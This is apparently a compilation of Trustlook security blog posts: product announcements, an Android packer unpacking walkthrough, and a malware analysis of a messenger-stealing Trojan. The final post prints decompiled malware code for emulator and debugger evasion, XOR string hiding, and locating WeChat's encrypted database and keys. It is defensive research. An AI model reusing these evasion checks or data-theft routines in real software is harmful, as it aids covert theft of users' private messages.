Black Hat 2018 is a Wrap!

Black Hat Las Vegas seems to get bigger and better every year. This year was no different. Trustlook was thrilled to be a part of the show, and would like to say thanks to all those who stopped by our booth at Innovation City. There were some great conversations and a lot of shared learnings on the future of cybersecurity for IoT devices.

IMG_20180808_101233448

Black Hat was also an opportunity for Trustlook to announce our latest product, SECUREai Core Detect. This product allows IT administrators to quickly see what IoT devices are on their network. In addition, sophisticated algorithms continually analyze communication to and from every device, instantly identifying anomalies and suspicious network behavior.

To learn more about SECUREai Core Detect, please click here. You can also contact bd@trustlook.com to schedule a demo.

Bangle Android App Packer: Unpacking & Analysis

Trustlook Labs has identified a malicious app which is most likely using social engineering attacks to trick users to install it. The app (MD5: eb9d394c1277372f01e36168a8587016) is packed by Bangle packer. The main activity triggering installation of the app is “com.goplaycn.googleinstall.activity.SplashActivity.” However, that activity is not found anywhere in the decompiled code:

image1

A closer look at what is happening in the code
From class SecAppWrapper, there is a “System.loadLibrary” call to load “secShell.” The native layer code in the module is responsible for decrypting and loading the app’s primary payload from “assets\secData0.jar,” which is a zipped DEX file after it’s decrypted.

image3

image2

Most method names in the “secShell” module are obfuscated, and their strings are decrypted when in use.

image5

The app detects most hooking and patching frameworks, such as Xposed. Xposed is a framework for manipulating Android applications’ flow at runtime.

image4

image7

The app forks a child process and calls “ptrace” to attach to the parent to prevent any attaching attempts by debuggers. The multiple processes trace one another to make sure the children stay alive.

image6

image9

image8

The app also monitors values in the /proc files system to check the status of the process.

image12

The JNI_OnLoad function in the “secShell” module has switch branches. One branch is responsible for anti-debugging, the other (located at 0x7543EAE4 below) will lead to the main DEX module for decrypting.

image10

The following is the decrypting function:

image11

image13

After the anti-debugging is bypassed, the function “p34D946B85C4E13BE6E95110517F61C41” decrypts the data. Register R0 contains the file location, as identified by the header bytes “PK\x03\x04.” R1 stores the size of the file.

image14

image15

We can dump the memory:

image16

After unzipping the file, we get the DEX file which can be viewed normally:

image17

Summary
Android packers are valuable tools used to protect the intellectual property of legitimate mobile application developers. However, they can be also used for nefarious purposes, and make analyzing malicious apps more difficult. Trustlook Labs continues to work on identifying malicious applications to protect our customers and the mobile ecosystem.

 

How to Stop Snooping Android Apps

Are you worried Android apps are secretly recording what you say or what you do? A new study from computer science researchers at Northeastern University suggests you may have good reason to be afraid.

The study analyzed 17,260 Android apps from the Google Play store, as well as third-party marketplaces AppChina, Mi.com and Anzhi. The research team found evidence of “several” Android apps spying on users by recording video and images of users’ screens. The study was published last week in a research paper titled “Panoptispy: Characterizing Audio and Video Exfiltration from Android Applications.”

The Northeastern University team cited several examples of popular apps that engaged in unauthorized recording of users’ screens, including GoPuff, a food delivery app. The researchers discovered the app sent captured video via the Internet to a domain belonging to web analytics firm Appsee, and that the video recording could include personally identifiable information such as ZIP codes. The researchers said that Appsee’s software required no permissions to record the video and did not issue notifications to users.

Researchers warn that a lot of the risk comes mainly from these third-party libraries, such as Appsee’s, that often abuse the permission an app obtains from users. “Apps often display sensitive information, so this exposes users to stealthy, undisclosed monitoring by third parties,” researchers say.

Embedded Behavioral Security for Android Devices
The good news is that security within Android is getting better with every new release of the popular mobile operating system. In fact, the company previewed the security features of Android P, the newest version of the mobile OS, at the Google I/O conference in May. Android P will only grant access to device sensors such as microphones and cameras to apps in the foreground, preventing potentially harmful apps from running covertly in the background and using sensors to spy on users.

There are also third-party software tools, such as Trustlook’s SECUREai Sentinel 2.0, that provide next-generation privacy protection for Android powered devices. Sentinel 2.0 is a custom OS and SDK that offers real-time detection of malicious behaviors, as well as powerful privacy features for Android users.

Robust Settings
Sentinel 2.0 offers end users complete control over their privacy settings. Users can select which behavior categories to have monitored (such as their microphone or location), whether or not to screen System apps, and even the option to have no privacy protection at all.

Screenshot_20180601-113804         Screenshot_20180601-113741        Screenshot_20180601-113748

Alert Options
Sentinel 2.0 can be customized to deliver various types of notifications and alerts. For example, the message on the left below is a simple alert stating that audio is being recorded in the background. However, the message on the right adds functionality by giving the user 30 seconds to either approve or deny the behavior.

                  Basic Alert                                               Advanced Alert
2018-05-29_1740                Screenshot_20180601-110138

Summary
It’s clear from the research by the team at Northeastern University that there is no slowing the rise of sneaky malicious apps and surreptitious attacks. With so many more connected devices than just a few years ago, the problem will only get worse. Add in the financial benefits of ransomware, and the possible state-sponsored chaos that can be caused with DDOS attacks, and the situation becomes that much more important to control.

Fortunately the tools to combat these attacks are also improving, and give Android users confidence when storing personal information and making sensitive transactions on their Android devices.

 

 

Trustlook introduces Sentinel 2.0!

Trustlook is pleased to announce SECUREai Sentinel 2.0, a next-generation security engine that provides privacy protection for Android powered devices. This latest release is the culmination of more than two years of engineering and testing, and encompasses a product with the highest performance and lowest device impact possible.

For Device Makers and End Users
SECUREai Sentinel 2.0 offers powerful privacy features for both Android device makers and end users. Some features include:

  • Real-time detection of malicious behaviors
  • For end users, the ability to know who or what is accessing their privacy information, and a way to deny or approve access
  • For device makers, a premium security feature and quick way for end-users to identify privacy problems, helping device makers comply with GDPR
  • 16 detection points, including detection of the following malicious phone behaviors:
    • Sending SMS when screen is locked
    • Recording audio when screen is locked
    • Accessing device contacts/phone numbers in the background
  • Multi-category privacy coverage for Contacts / SMS / Call Logs / Camera / Microphone / Location / Screen / Telephone Number / Device Account / IP Address / Calendar / Cookies / Clipboard / RFID
  • Based on the latest Android version: 8.1
  • Small 0.2% average performance impact
  • Privacy access logs and analysis reports to identify data leaks
  • Quick implementation and rapid deployment

Alert Options
SECUREai Sentinel 2.0 can be customized to deliver various types of notifications and alerts. For example, the message on the left below is a simple alert stating that audio is being recorded in the background. However, the message on the right adds functionality by giving the user 30 seconds to either approve or deny the behavior.

                  Basic Alert                                               Advanced Alert
2018-05-29_1740                Screenshot_20180601-110138

Below is an Advanced Alert that gives the user 30 seconds to approve or deny the sending of an SMS message.
Screenshot_20180601-105418

Robust Settings
SECUREai Sentinel 2.0 offers end users complete control over their privacy settings. Users can select which behavior categories to have monitored (such as their microphone or location), whether or not to screen System apps, and even the option to have no privacy protection at all.

Screenshot_20180601-113804         Screenshot_20180601-113741        Screenshot_20180601-113748

Need Help with GDPR (General Data Protection Regulation)?
GDPR is everywhere these days. Companies are racing to comply with the new law that went into effect on May 25, 2018. At its core, GDPR is a new set of rules designed to give EU citizens more control over their personal data.

Under the terms of GDPR, not only will organizations have to ensure that personal data is gathered legally and under strict conditions, but those who collect and manage it will be obliged to protect it from misuse and exploitation, as well as to respect the rights of data owners – or face penalties for not doing so.

SECUREai Sentinel 2.0 can help Android device makers comply with GDPR. How? One of the major changes GDPR will bring is providing consumers with a right to know when their data has been leaked or hacked. SECUREai Sentinel 2.0 displays which apps on a device have access to personal information. For instance, a user might have 10 apps on his or her phone. Seven of the 10 apps, such as banking or payment apps, might have access to personal information. Therefore, device makers will be providing more transparency into how a user’s data is accessed, and, in the event of a breach, a user can quickly understand if their data might be exposed.

Implementation
SECUREai Sentinel 2.0 is implemented via a custom ROM and an SDK. The diagram below shows how the SDK interacts with the custom ROM and the Trustlook Cloud Service.

2018-05-29_1730

Dashboard
The information that is collected from SECUREai Sentinel 2.0 is displayed on a custom dashboard. The dashboard provides real-time information of the behaviors detected, the riskiest apps, and much more.

Below is a running log of behaviors that have been detected by SECUREai Sentinel 2.0.
2018-06-01_1413

Below is a list of the riskiest apps, as detected by SECUREai Sentinel 2.0.
2018-06-01_1414

Summary
SECUREai Sentinel 2.0 is a game changer for privacy protection on the Android platform. Device makers and end users both benefit from the vast features and capabilities of the platform. To learn more about SECUREai Sentinel 2.0, or to schedule a demo, please contact bd@trustlook.com.

ZTE Suspected of Espionage in 2016

Are you concerned with the Trump administration lifting sanctions on Chinese telecommunications giant ZTE? In 2016, ZTE was one of 43 companies that cybersecurity company Trustlook identified as possibly engaging in espionage due to ZTE’s work with ADUPS, a firmware-over-the-air (FOTA) company discovered by Kryptowire to be collecting private user information without consent.

The New York Times reported up to 700 million devices may contain the ADUPS software. Trustlook researchers conducted additional investigation and identified 43 phone manufacturers, including ZTE, that utilized the ADUPS’ Firmware-Over-The-Air (FOTA), and whose users might possibly be impacted by this incident. Trustlook also published an infographic with additional details on ADUPS.

The manufacturers with devices that contain ADUPS technology (which may or may not be impacted by the data theft) are as follows:
Aaron Electronics
Aeon Mobile
All Win Tech
Amoi Technology
Archos
AUX
Bird
BLU
Cellon
Coship Mobile
DEWAV Communication Group
DEXP Digital Experience
Eastaeon Technology
Electronic Technology Co.
Gionee
GOSO
Hisense
Hongyu
Huaqin
Huiye
Inventec Corporation
Konka Group Co
Lenovo
Logicom
Longcheer
Malata Mobile
Mediatek Helio
Prestigio
Ragentek
RDA Micro
Reallytek
RUIO
Sanmu
Sprocomm
Tinno
Uniscope
VSUN
Water World Technology Co.
Wind Communication
WingTech
Yifang Digital
Zhuhai Quanzhi
ZTE

25,936 Malicious Apps Use Facebook APIs

Trustlook has identified 25,936 malicious apps that are currently using one of Facebook’s APIs, such as a login API or messaging API. (The list of MD5s can be found here.) App developers, when using these APIs, are able to obtain a range of information from a Facebook profile—things such as a name, location, and email address.

The Cambridge Analytica data-harvesting scandal was mainly a result of developers abusing the permissions associated with the Facebook Login feature. When people use Facebook Login, they grant the app’s developer a range of information from their Facebook profile. Back in 2015, Facebook also allowed developers to collect some information from the friend networks of people who used Facebook Login. That means that while a single user may have agreed to hand over their data, developers could also access some data about their friends. Needless to say, this realization among Facebook users has caused a huge backlash.

Trustlook discovered the malicious apps within its SECUREai App Insights product, which continuously scans apps from across the world, and provides more than 80 pieces of information for each app, including permissions, libraries, risky API calls, network activity, and a risk score. This allows app store owners, app developers, and researchers to make informed decisions when assessing the risk of an app. SECUREai App Insights is currently securing three of the top five app stores in the world.

To be fair, Facebook is not the only company with its APIs embedded in malicious applications. Twitter, LinkedIn, Google, and Yahoo offer similar options to developers, and thus their user data faces similar exposure. All of these companies need to remain diligent about what user information is being granted to apps.

For more information on SECUREai App Insights, please visit www.trustlook.com.

 

Android-Malware

A Trojan with Hidden Malicious Code Steals User’s Messenger App Information

Trustlook Labs has discovered a Trojan which obfuscates its configuration file and part of its modules. The purpose of the content/file obfuscation is to avoid detection.

The malware has the following characteristics:

  • MD5: ade12f79935edead1cab00b45f9ca996
  • SHA256: 1413330f18c4237bfdc523734fe5bf681698d839327044d5864c9395f2be7fbe
  • Size: 1774802 bytes
  • App name: Cloud Module (in Chinese)
  • Package name: com.android.boxa

The malware uses the anti-emulator and debugger detection techniques to evade dynamic analysis.

public class a {
    public a() {
        super();
        if(!h.a() && (a.b())) {
            String v0 = "emulator\n";
            if(Environment.getExternalStorageState().equals("mounted")) {
                try {
                    File v2 = new File(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath()) + "/loge.txt");
                    if(!v2.exists()) {
                        v2.createNewFile();
                    }

                    String v1 = String.valueOf(new SimpleDateFormat("yyyyMMddHHmmss", Locale.CHINA).format(new Date(System.currentTimeMillis()))) + ":";
                    FileOutputStream v3 = new FileOutputStream(v2, true);
                    v3.write(v1.getBytes());
                    v3.write(v0.getBytes());
                    v3.close();
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            }

            Process.killProcess(Process.myPid());
            System.exit(1);
        }
 []
    private static boolean b() {
        boolean v0_1;
        boolean v1 = false;
        try {
            v0_1 = a.c();
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_1 = false;
        }

        if((Debug.isDebuggerConnected()) || (v0_1) || (a.a.b.a()) || (a.a.b.b())) {
            v1 = true;
        }

        return v1;
}
[]
  static {
        b.a = new String[]{"/dev/socket/qemud", "/dev/qemu_pipe"};
        b.b = new String[]{"/sys/qemu_trace", "/system/bin/androVM-prop", "/system/bin/microvirt-prop", "/system/lib/libdroid4x.so", "/system/bin/windroyed", "/system/bin/microvirtd", "/system/bin/nox-prop", "/system/bin/ttVM-prop", "/system/bin/droid4x-prop", "/data/.bluestacks.prop"};
        a[] v0 = new a[]{new a("init.svc.vbox86-setup", null), new a("init.svc.droid4x", null), new a("init.svc.su_kpbs_daemon", null), new a("init.svc.noxd", null), new a("init.svc.ttVM_x86-setup", null), new a("init.svc.xxkmsg", null), new a("init.svc.microvirtd", null), new a("ro.kernel.android.qemud", null), new a("androVM.vbox_dpi", null), new a("androVM.vbox_graph_mode", null), new a("ro.product.manufacturer", "Genymotion"), new a("init.svc.qemud", null), new a("init.svc.qemu-props", null), new a("qemu.hw.mainkeys", null), new a("qemu.sf.fake_camera", null), new a("qemu.sf.lcd_density", null), new a("ro.bootloader", "unknown"), new a("ro.bootmode", "unknown"), new a("ro.hardware", "goldfish"), new a("ro.kernel.android.qemud", null), new a("ro.kernel.qemu.gles", null), new a("ro.kernel.qemu", "1"), new a("ro.product.device", "generic"), new a("ro.product.model", "sdk"), new a("ro.product.name", "sdk"), new a("ro.serialno", null)};
    }

The malware attempts to hide the strings to avoid being detected. For example, the following strings are stored in arrays and are XOR encrypted with 24 to get the real strings:

g.a(new byte[]{117, 97, 80, 119, 107, 108}); //myHost
g.a = g.a(new byte[]{117, 97, 116, 113, 122}); //mylib
g.a(new byte[]{55, 104, 106, 119, 123, 55, 123, 104, 109, 113, 118, 126, 119}); ///proc/cpuinfo
g.a(new byte[]{121, 121, 106, 123, 112, 46, 44}); //aarch64
g.b = g.a(new byte[]{124, 121, 108}); //dat
g.c = g.a(new byte[]{119, 96});ox
g.d = g.a(new byte[]{113, 118, 126, 54, 94, 121, 123, 125, 81, 118, 107, 108, 121, 118, 123, 125}); //inf.FaceInstance
g.e = g.a(new byte[]{54, 114, 121, 106}); // .jar
g.f = g.a(new byte[]{116, 123, 54, 124, 121, 108}); // lc.dat
g.a(new byte[]{124, 125, 122, 109, 127, 54, 108, 96, 108}); // debug.txt
g.g = g.a(new byte[]{109, 118, 113, 118, 107}); //unins

The malware also includes some modules in its Assets folder, and all the modules are encrypted.

image2

For some modules, including “coso”, “dmnso”, “sx”, “sy”, the malware uses the first byte in the module to XOR decrypt the data. For example, take notice of the original module “coso” in the Assets folder:

image4

After decryption, it turns out an ELF module:

image3

The lc.dat is the configuration file, which is XOR decrypted with 137. For example:

image6

After decryption:

image5

The configuration file contains the C&C server and other values that the malware uses to contact its controller. An example request sent by the malware is shown below:

image1

If the Android SDK version is less than 16, the malware loads “sy” module from Assets, otherwise it loads “sx” module. These modules attempt to modify the “/system/etc/install-recovery.sh” file to maintain persistence on the device.

It also has functions to steal the user’s messenger app information. The malware collects information from the following apps:

  • Tencent WeChat
  • Weibo
  • Voxer Walkie Talkie Messenger
  • Telegram Messenger
  • Gruveo Magic Call
  • Twitter
  • Line
  • Coco
  • BeeTalk
  • TalkBox Voice Messenger
  • Viber
  • Momo
  • Facebook Messenger
  • Skype

The following code snippets are used to retrieve data from WeChat:

v4 = a3;
  v5 = a1;
  v13 = a4;
  v6 = a2;
  j_memset(&v16, 0, 0xFFu);
  j_sprintf(&v16, "/data/data/com.tencent.mm/MicroMsg/%s/cdndnsinfo", v6);
  v7 = sub_107A0((int)&v16);
  *v4 = v7;
  if ( !v7 )
  {
    j_strcpy(&v16, "/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");
    *v4 = sub_10F98((int)&v16);
  }
  j_memset(&v17, 0, 0x200u);
  j_memset(v15, 0, 0x10u);
  if ( j_strlen(v5) <= 4 )
    j_strcpy(v5, (const char *)&unk_5E688);
  j_sprintf(&v17, "%s%d", v5, *v4, v13);
  v8 = j_strlen(&v17);
  sub_106FC(&v17, v8, (int)v15);
  v9 = 0;
  do
  {
    v10 = (unsigned __int8)v15[v9];
    v11 = v14 + 2 * v9++;
    j_sprintf(v11, "%02x", v10);
  }
  while ( v9 != 16 );
  j_sscanf();
  return 0;
}
[]
j_sprintf(&v102, "/data/data/%s/files/libmmcrypto.so", &unk_5E6BA);
  j_chmod(&v103, 511);
  j_memcpy(&v98, &unk_54E77, 0x21u);
  j_memset(v99, 0, 0xDEu);
  j_strcat(&v98, (const char *)&unk_5E6BA);
[]
  j_strcat(&v98, "/files/%u.sql'");
  j_sprintf(&v109, &v98, &v103, &v102, &v100, v4, &v42, v5, &v109, &v102);
  j_memset(&v104, 0, 0x200u);
  v105 = 1836409902;
  v106 = 112;
  j_memset(&v107, 0, 0x1F8u);
  j_sprintf(&v104, "%s/%u.sql", &unk_5E624, v5);
  j_strcat((char *)&v105, (const char *)&v104);
  j_memcpy(&v94, &unk_54F76, 0x1Cu);
  j_memset(&v95, 0, 0x48u);
  j_memcpy(&v96, &unk_54FDA, 0xDu);
  j_memset(v97, 0, 0x57u);
  j_strcat(&v96, v4);
  j_strcat(&v96, "\";");
  v7 = &v103;
  v8 = &v102;
  v11 = &v94;
  v9 = &v100;
  v12 = &v105;
  v10 = &v96;
  sub_DC64(6, &v7);
  j_chmod(&v104, 511);
  j_memset(&v108, 0, 0x200u);
  j_sprintf(&v108, "%s/sns.db", &unk_5E624);
  sub_E7D0(&v101, &v108);
  j_chmod(&v108, 511);
  j_printf("szsqlite:%s\n", &v103);
  j_printf("szlibmmcrypto:%s\n", &v102);
  j_printf("szDBPath:%s\n", &v100);
  j_printf("szPRAGMAkey:%s\n", &v96);
  return j_printf("sqlDbPath2:%s\n", &v105);
[]
v10 = a1;
  result = j_opendir("/data/data/com.tencent.mm/MicroMsg");
  v2 = result;
  if ( result )
  {
    v9 = 0;
    while ( 1 )
    {
      v4 = j_readdir(v2);
      v5 = v4;
      if ( !v4 )
        break;
      v3 = (const char *)(v4 + 19);
      if ( j_strcmp(".", (const char *)(v4 + 19)) )
      {
        if ( j_strcmp("..", (const char *)(v5 + 19)) )
        {
          if ( sub_E8A0("/data/data/com.tencent.mm/MicroMsg", v5) )
          {
            j_memset(&v13, 0, 0xFFu);
            j_sprintf(&v13, "%s/%s/EnMicroMsg.db", "/data/data/com.tencent.mm/MicroMsg", v3);
            if ( !j_access(&v13, 0) )
            {
              j_memset(&v14, 0, 0xFFu);
              j_sprintf(&v14, "%s/%s", "/data/data/com.tencent.mm/MicroMsg", v3);
[]
              {
                j_strcpy(v10, v3);
                v9 = v8;
              }
            }
          }
        }
      }
}


Summary
Code obfuscation/hiding increases the malware author’s ability to avoid detection and becomes a sophisticated challenge to anti-virus software. Trustlook was able to gather deep insights and knowledge of the malware behavior of this kind of malware. Trustlook’s anti-threat platform can effectively protect users against this invasion.